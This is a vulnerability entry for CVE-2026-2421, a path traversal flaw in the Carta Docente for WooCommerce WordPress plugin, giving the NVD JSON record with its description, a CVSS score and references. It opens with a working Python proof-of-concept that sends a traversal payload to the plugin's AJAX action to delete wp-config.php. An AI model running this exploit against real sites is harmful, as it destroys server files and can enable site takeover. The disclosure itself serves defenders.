CVE-2026-2421

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (Admin session required) cookies = { "wordpress_logged_in_hash": "your_admin_cookie_hash", "wordpress_sec_hash": "your_secure_cookie" } # Payload data exploiting path traversal # Attempting to delete wp-config.php located in the root directory payload_data = { "action": "wccd-delete-certificate", "cert": "../../wp-config.php" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-2421", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:14.127", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ilGhera Carta Docente for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.5.0 via the 'cert' parameter of the 'wccd-delete-certificate' AJAX action. This is due to insufficient file path validation before performing a file deletion. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary files on the server, such as wp-config.php, which can make site takeover and remote code execution possible."}, {"lang": "es", "value": "El plugin ilGhera Carta Docente para WooCommerce para WordPress es vulnerable a salto de ruta en todas las versiones hasta la 1.5.0, inclusive, a través del parámetro 'cert' de la acción AJAX 'wccd-delete-certificate'. Esto se debe a una validación insuficiente de la ruta del archivo antes de realizar una eliminación de archivo. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador o superior, eliminen archivos arbitrarios en el servidor, como wp-config.php, lo que puede hacer posible la toma de control del sitio y la ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wc-carta-docente/tags/1.4.7/includes/class-wccd-admin.php#L88", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-carta-docente/tags/1.5.1/includes/class-wccd-admin.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-carta-docente/trunk/includes/class-wccd-admin.php#L88", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7aab1307-7fb5-46fb-ae12-087dce3086fc?source=cve", "source": "[email protected]"}]}}